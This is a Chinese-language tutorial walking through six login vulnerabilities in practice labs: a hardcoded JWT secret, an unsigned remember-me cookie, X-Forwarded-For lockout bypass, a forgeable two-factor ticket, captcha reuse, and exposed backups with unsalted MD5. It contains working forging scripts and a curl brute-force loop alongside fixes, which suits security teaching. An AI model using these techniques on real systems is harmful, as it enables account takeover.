登录框是系统最小的攻击面:一个输入框、一个按钮,看起来逻辑简单,却最容易被忽略。
但它也是整个业务链中唯一一个“谁都能碰”的入口。一旦这里出了问题,后续的权限设计就可能形同虚设。
下面这六种漏洞,不是笼统地说“参数没有过滤”,而是把不该信任的东西当成判断依据:把前端文件当保险箱、把 Cookie 当身份证、把请求头当来源、把票据当凭据、把验证码当门槛、把备份目录暴露在公网。
每一章都包含三部分:真实页面表现、出错代码的位置,以及如何逐步验证漏洞。
每节开头都有对应的在线靶场地址,按文中的步骤操作可以复现结果。每个关卡都提供“漏洞版”和“修复版”,在右上方切换 Low 和 High,即可查看修复后的实现。
靶场:https://hexc2.com/laboratory/targets/112

先看内部运维平台。登录后只有只读权限,页面右侧显示 guest;点击“管理台”时,页面提示需要管理员权限。这本身是正常设计,权限分级没有问题。

演示账号 guest / guest123,页面上就写着
使用 guest 登录后,控制台会显示当前身份:账号是 guest,角色是 guest,数据库中的实际角色也是 Guest。管理台栏目提示“需要管理员权限”。

登录成功,但只是个只读账号
这时,多数人会先试弱口令或越权接口。但更值得先看的是:页面如何判断当前用户是谁?
打开浏览器开发者工具,查看 assets/app.js:

第 10 行:var HX_SECRET = 'ops-portal-2024'
HS256 签名密钥被硬编码在前端脚本中,旁边的注释还写着“临时”“现在仍然是写死的”。
这意味着:签发 token 和验证 token 使用的是同一个密钥,而任何人都能下载到这个密钥。
看看服务端如何使用这个 token:
phpfunction jwt_verify(string $tok, string $secret): bool {
[$h, $p, $sig] = explode('.', $tok);
$want = b64u(hash_hmac('sha256', $h . '.' . $p, $secret, true));
return hash_equals($want, $sig);
}
// 验证通过后,直接用 payload 里的 sub 认人
$u = q_row(db(), "SELECT * FROM users WHERE username='" . $payload['sub'] . "'");签名只依赖密钥,而密钥存放在任何人都能读取的前端 JS 中。因此,任何人都可以自行签发一枚内容任意的 token。
复现三步:
{"sub":"guest","role":"guest","exp":...}。sub 改成 admin,role 改成 admin,用 ops-portal-2024 重新算 HMAC-SHA256,拼回 header.payload.signature。hx_token,访问 /admin。用 Python 三十秒的事:
pythonimport base64, hmac, hashlib, json
def b64(b): return base64.urlsafe_b64encode(b).rstrip(b'=').decode()
h = b64(b'{"alg":"HS256","typ":"JWT"}')
p = b64(json.dumps({"sub":"admin","role":"admin","exp":4102444800}).encode())
sig = b64(hmac.new(b'ops-portal-2024', f"{h}.{p}".encode(), hashlib.sha256).digest())
print(f"{h}.{p}.{sig}")拿到令牌后,Burp 里发出去:

请求当中的Cookie属于伪造的情况,服务端的照单全部收取,响应里面直接就是管理台。

账号变成 admin,平台密钥在页面上
修复仅仅只有一个方面:密钥不能够在客户端出现。从环境的变量或者配置的文件来进行读取,前端只是拿token而不去使用密钥。
phpreturn (string)getenv('JWT_SECRET'); // 只在服务端补充一点:只把 role 从 token 中移除、改为查库还不够。攻击者仍可伪造 sub: admin;如果服务端未正确验证用户是否存在及其状态,就可能继续产生越权问题。密钥一旦泄漏,应立即更换,并使旧 token 失效。
靶场:https://hexc2.com/laboratory/targets/113

第二个场景是 OA 系统。登录页提供“7 天无需登录”选项;勾选后,即使关闭并重新打开浏览器,也不需要再次输入密码。
此功能自身没有问题,关键之处在于它将什么写入了Cookie之中。
先正常登录一次,用户名为 zhang.wei,密码为 Welcome2024,并勾选“7 天免登录”。

标准的登录页,多了个复选框
登录成功后,服务端下发的响应头是这样的:

Set-Cookie 那一行:hx_remember=eyJ1Ijoiemhhbmcud2VpIiwiciI6ImVtcGxveWVlIiwiZXhwIjoxNzk0MDIxNTYxfQ
这串东西看着像随机串,其实是 base64。解一下:

{"u":"zhang.wei","r":"employee","exp":1794021561}
用户名、角色和过期时间都明文包含在其中,而且没有签名。
看代码会更清楚:
php$raw = json_encode(['u' => $row['username'], 'r' => $row['role'], 'exp' => time() + 7*86400]);
$val = b64u($raw); // [!] 只编码,不签名
setcookie('hx_remember', $val, [...]);恢复身份时,服务端会直接用 u 查询用户,并将 r 当作角色使用:
php$j = json_decode(b64u_dec($val), true);
$u = q_row(db(), "SELECT * FROM users WHERE username='" . $j['u'] . "'");
if ($u) login_as($u['id']);这一关比 JWT 更简单:前一关至少还要计算 HMAC,这里连签名都不需要。
复现:
hx_remember。{"u":"zhang.wei","r":"employee","exp":...}。u 和 r 都改成 admin,再将过期时间调大并重新进行 Base64 编码。hx_remember,退出登录(清掉 session),直接访问 /admin。第 4 步的“退出登录”不能省略。服务端会优先检查 session,只有 session 不存在时才读取 Cookie;如果不先退出,当前身份仍是 zhang.wei,访问 /admin 会得到 403。

换掉 Cookie 之后,身份直接是系统管理员
修复时,Cookie 中只放一个不可预测的随机 ID,由服务端根据 ID 查询对应记录;或者至少为 Cookie 内容添加 HMAC 签名。角色应从数据库读取,而不是从 Cookie 中获取。
php$val = b64u($raw) . '.' . b64u(hash_hmac('sha256', $raw, $secret, true)); // 签名
$role = $u['role']; // 角色以数据库为准靶场:https://hexc2.com/laboratory/targets/114

第三个场景是客服后台。这次没有提供账号,只知道管理员用户名是 admin,密码为 8 位。
登录页明确提示:连续输错 5 次后,来源会被锁定 15 分钟。

坐席登录,底下那行小字就是策略
8 位密码不可能靠硬猜解决,先看看页面上有没有其他线索。
页面的底部有个查看团队的介绍:

对外公开的联系页:姓名、账号、入职年份
页面列出了 5 名员工的姓名、账号和入职年份。比如,技术总监王芳于 2019 年入职,账号是 wangfang。
如果员工习惯用“姓名拼音 + 入职年份”设置密码(这种情况并不少见),就能整理出一组候选:wangfang2019、zhangwei2021、lina2022 等。
接下来要解决的是:如何验证这十几个候选。
直接爆破很快就会触发锁定:

连错 5 次,来源被锁 15 分钟
查看代码锁定是从什么维度来进行的:
phpfunction client_ip(string $lv): string {
if ($lv !== 'high') {
$xff = trim((string)($_SERVER['HTTP_X_FORWARDED_FOR'] ?? ''));
if ($xff !== '') return trim(explode(',', $xff)[0]); // [!] 信请求头
}
return (string)$_SERVER['REMOTE_ADDR'];
}X-Forwarded-For 是客户端可以自行填写的请求头。服务端若直接把它当作来源 IP,就等于让攻击者自己指定来源。
这样一来,锁定机制就形同虚设:每换一个请求头值,系统就会把它当成新的来源。

同一个密码,加一行 X-Forwarded-For: 198.51.100.23,5 次的计数清零重来
循环跑好几个候选命中就进去:
bashfor pwd in wangfang2019 zhangwei2021 lina2022 sunlei2021 admin2018; do
curl -s -o /dev/null -w "$pwd %{http_code}\n" \
-H "X-Forwarded-For: 198.51.100.$RANDOM" \
-d "login=1&username=wangfang&password=$pwd" \
http://target/s/ratelimit-dict
done302 的那个就是对的。

登录成功,管理台里的密钥
修复要同时做两件事:
第一,来源只认 REMOTE_ADDR,或者只在白名单代理后面读 XFF,并且从右往左取(最右边那一跳才是真实来源)。
第二,锁定不能只按 IP。加上按账号计数:
phpif ($lv === 'high') {
$locked += q1($db, "SELECT COUNT(*) FROM login_fails
WHERE username='{$u}' AND locked_until > NOW()");
}只按 IP 锁会被绕,只按账号锁会被用来锁死别人(这一点后面还会提)。两个一起才靠谱。
靶场:https://hexc2.com/laboratory/targets/115

第四个场景是企业邮箱。输入密码后,还要填写发送到绑定手机上的动态验证码。
这道验证看起来很难绕过:既没有受害者的手机,也拿不到验证码。

第一步:账号密码
演示账号是 li.na / Passw0rd!。输入后点击“下一步”:

第二步:动态验证码。注意页面上没有别的信息
到这里,正常的判断是:没有验证码就无法继续。不过先别急着下结论,看看第二步如何确认第一步已经通过。
抓取这个请求:

ticket=eyJ1aWQiOjEsInN0ZXAiOiJkb25lIiwiZXhwIjo0MTAyNDQ0ODAwfQ
请求里有三个参数:step2=1、ticket、code。
ticket 是第一步返回的,末尾没有点号、没有签名段——它就是个 base64。解一下:
json{"uid": 4, "step": "password", "exp": 1794021999}uid 是李娜的用户 ID(4),step 表示“只通过了密码验证”。
看看服务端拿到这张票据后做了什么:
php$payload = json_decode(b64u_dec($ticket), true); // [!] 直接解,不验签
if ((int)$payload['exp'] < time()) { ... }
// step 字段读出来了,但没人用它判断
$uid = (int)$payload['uid'];
login_as($uid);step 被解析出来了,然后被丢掉了。真正用来认人的是 uid。
于是,把 uid 改成 1,也就是管理员的 ID。
pythonimport base64, json
print(base64.urlsafe_b64encode(
json.dumps({"uid": 1, "step": "done", "exp": 4102444800}).encode()
).rstrip(b'=').decode())把结果替换进 ticket,code 随便填六位(000000),发出去:

没有验证码也进来了,身份是系统管理员
修复分为两个层面,缺一不可:
php$uid = (int)($_SESSION['step1_uid'] ?? 0); // 服务端记的,改不了
$ok = hash_equals($expectedCode, $code);靶场:https://hexc2.com/laboratory/targets/116

第五个场景是手机银行,需要输入手机号、4 位 PIN 和图形验证码。
4 位 PIN 一共有 1 万种组合;如果验证码有效,通常很难把所有组合都试完。

手机号、PIN、图形验证码
先正常输一次错的:

PIN 错了,页面提示"手机号或 PIN 不正确",验证码那栏是空的
注意第二次提交时,即使没有填写验证码,页面也没有直接拒绝请求,而是提示 PIN 不正确。
也就是说:验证码只在第一次请求时校验,之后就一直处于“已验证”状态。
看代码:
php$verified = q1(db(), "SELECT COUNT(*) FROM captcha_issues
WHERE sid='{$sid}' AND verified=1");
if ($verified === 0) {
if (captcha_mark_verified($_POST['cap'])) $verified = 1;
else $err = '图形验证码不正确';
}
// 验证过之后,$verified 一直是 1,后面每次请求都不再看验证码verified=1 这条记录写完就再没清过。所以只要过掉一次验证码,后面的请求都不需要它。
一万次尝试变成了一次验证码 + 一万次 PIN 猜测:

Intruder 跑 0000–9999,状态码 302 的那一行就是命中
在这个环境中,这种跑法大约需要十几分钟,最终得到的 PIN 是 8421。

进的是管理员账户
修复:验证码必须一次一用。每次尝试都要重新取、重新验,验完立刻作废。
phpif ($lv === 'high') {
// 尝试一次就把验证码作废,下次必须重新获取
db()->query("UPDATE captcha_issues SET verified=0 WHERE sid='{$sid}'");
}此外,还要限制 PIN 的尝试次数,并按账号计数;超过上限后应暂时锁定账号。4 位 PIN 本身就必须设置尝试次数上限,不能指望验证码替它兜底。
靶场:https://hexc2.com/laboratory/targets/117

最后一个看起来最不像漏洞:一个客户门户的登录页,没有任何提示,也不存在注册的入口。

就一个登录框,账号都不知道
这种页面第一件事不是猜密码,是看有没有别的东西没关干净。
试一下 /backup:

目录列表开着,两个文件
users.sql 是用户表备份,wordlist.txt 是运维自己整理的口令字典(应该是之前做自查留下的)。
打开 users.sql:

(1,'admin','0571749e2ac330a7455809c6b0e7af90','admin',...)
32 位十六进制,MD5,而且没有盐。
MD5 无盐意味着两件事:可以用彩虹表直接查,也可以拿字典跑。手上正好有 wordlist.txt。

313 条字典,一秒出结果:sunshine
登录:

admin / sunshine,进管理台
这一关的错不在密码强度(sunshine 确实弱),而在两件事同时发生:
Options +Indexes)和 .sql/.bak/.zip 这些后缀,是自动化扫描最先撞到的东西。修复分两头:
apache# 备份文件不放在 DocumentRoot 下;真要放,禁掉目录列表和后缀访问
Options -Indexes
<FilesMatch "\.(sql|bak|zip|tar|gz|old|swp)$">
Require all denied
</FilesMatch>php// 存的时候用 password_hash,代价参数别省
$hash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]);
// 验的时候用 password_verify
if (password_verify($input, $row['password_bcrypt'])) { ... }把它们放在一起看,会发现问题不在"漏了什么校验",而在校验用了一个不该信的东西当判据。
关卡 | 判据是什么 | 为什么不可信 |
|---|---|---|
JWT | 签名密钥 | 密钥在公网可读的 JS 里 |
记住我 | Cookie 里的 u 和 r | 客户端随手能改,没签名 |
限速 | X-Forwarded-For | 请求头由客户端填写 |
二步验证 | 票据里的 uid | 票据自己能写,step 还没人看 |
验证码 | 一次性的 verified 标记 | 标记写进去就不再清 |
备份哈希 | 文件在不在 Web 目录 | 目录列表和执行权限是两回事 |
因此防守端实际需要问的并非是“我添加了校验有没有”,而是三个字:
这物品是由谁提供的?要是答案是客户端给予的,那就只能当作线索,不可以当作结论。IP,角色,用户ID,票据的状态,都归属于这一个类别。
对密码进行改密操作之后,旧门关闭了没有?会话记住Cookie,重置令牌,二步去验证票据这四个方面,改密的时候都得一起废掉。如同少作废一般,攻击者能够拿着旧的东西进去。
此文件为何能够被访问?备份日志. git ,. env ,上传目录等等,这些不应该处于Web根目录之中的东西,很容易被遗漏掉,而且还极易被扫描到。
登录框比较小,可是它和账号系统相连接。这六个关卡没有一个靠着复杂payload打下来,全部都是靠着多看一眼,多改字段。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。